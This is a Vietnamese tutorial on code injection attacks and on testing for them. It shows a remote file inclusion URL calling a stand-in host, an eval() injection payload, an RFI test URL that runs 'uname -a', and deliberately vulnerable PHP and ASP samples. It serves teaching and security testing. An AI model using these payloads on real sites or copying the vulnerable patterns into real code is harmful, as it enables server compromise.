Rate this post

Code Injection attack là gì?

Code Injection attack là thuật ngữ chung cho các kiểu tấn công bao gồm việc tiêm mã sau đó được ứng dụng diễn giải / thực thi. Loại tấn công này khai thác việc xử lý kém các dữ liệu không đáng tin cậy. Các kiểu tấn công này thường có thể xảy ra do thiếu xác thực dữ liệu đầu vào / đầu ra thích hợp, ví dụ:

  • các ký tự được phép (các lớp biểu thức chính quy tiêu chuẩn hoặc tùy chỉnh)
  • định dạng dữ liệu
  • lượng dữ liệu mong đợi

Code Injection khác với Command Injection ở chỗ kẻ tấn công chỉ bị giới hạn bởi chức năng của chính ngôn ngữ được đưa vào. Nếu kẻ tấn công có thể đưa mã PHP vào một ứng dụng và thực thi nó, chúng chỉ bị giới hạn bởi khả năng của PHP. Chèn lệnh bao gồm việc tận dụng mã hiện có để thực hiện các lệnh, thường là trong ngữ cảnh của một trình bao.

Ví dụ 1

Nếu một ứng dụng chuyển một tham số được gửi qua yêu cầu GET tới hàm include () của PHP mà không có xác thực đầu vào, kẻ tấn công có thể cố gắng thực thi mã khác với những gì nhà phát triển đã nghĩ đến.

URL bên dưới chuyển tên trang đến hàm include ().

http://testsite.com/index.php?page=contact.php

Tệp “evilcode.php” có thể chứa, ví dụ, hàm phpinfo () hữu ích để lấy thông tin về cấu hình của môi trường mà dịch vụ web chạy. Kẻ tấn công có thể yêu cầu ứng dụng thực thi mã PHP của chúng bằng cách sử dụng yêu cầu sau:

http://testsite.com/?page=http://evilsite.com/evilcode.php

Ví dụ 2

Khi một nhà phát triển sử dụng hàm eval () của PHP và chuyển cho nó dữ liệu không đáng tin cậy mà kẻ tấn công có thể sửa đổi, thì việc chèn mã có thể xảy ra.

Ví dụ dưới đây cho thấy một cách nguy hiểm để sử dụng hàm eval ():

$myvar = "varname";
$x = $_GET['arg'];
eval("$myvar = $x;");

Vì không có xác thực đầu vào, đoạn mã trên rất dễ bị tấn công Code Injection.

Ví dụ: /index.php?arg=1; phpinfo ()

Trong khi khai thác các lỗi như thế này, kẻ tấn công có thể muốn thực hiện các lệnh hệ thống. Trong trường hợp này, một lỗi chèn mã cũng có thể được sử dụng để chèn lệnh.

Ví dụ:

/index.php?arg=1; phpinfo()

Cách kiểm tra lỗ hổng Code Injection

Phần này mô tả cách người kiểm tra có thể kiểm tra xem liệu có thể nhập mã làm đầu vào trên trang web và có được máy chủ web thực thi hay không.

Các bài viết liên quan:

Trong thử nghiệm code injection, người thử nghiệm gửi đầu vào được máy chủ web xử lý dưới dạng mã động hoặc dưới dạng tệp được bao gồm. Các thử nghiệm này có thể nhắm mục tiêu các công cụ tạo kịch bản phía máy chủ khác nhau, ví dụ: ASP hoặc PHP. Xác thực đầu vào thích hợp và thực hành mã hóa an toàn cần được sử dụng để bảo vệ khỏi các cuộc tấn công này.

Mục tiêu kiểm tra

  • Xác định các điểm injection mà bạn có thể đưa mã vào ứng dụng.
  • Đánh giá mức độ nghiêm trọng của vết injection.

Black box testing

Kiểm tra lỗ hổng PHP Injection

Sử dụng chuỗi truy vấn, người kiểm tra có thể đưa mã (trong ví dụ này là URL độc hại) để được xử lý như một phần của tệp được bao gồm:

http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a

URL độc hại được chấp nhận làm tham số cho trang PHP, trang này sau này sẽ sử dụng giá trị trong tệp được bao gồm.

Gray-box testing

Kiểm tra lỗ hổng injection mã ASP

Kiểm tra mã ASP cho đầu vào của người dùng được sử dụng trong các chức năng thực thi. Người dùng có thể nhập lệnh vào trường Nhập dữ liệu không? Tại đây, mã ASP sẽ lưu dữ liệu đầu vào vào một tệp và sau đó thực thi nó:

<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing

'Data.txt is executed
Server.Execute( "data.txt" )

Else
%>

<form>
<input name="Data" /><input type="submit" name="Enter Data" />

</form>
<%
End If
%>)))

Xem thêm Kiểm tra lỗ hổng bảo mật CSS Injection

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Contact Me on Zalo
Call now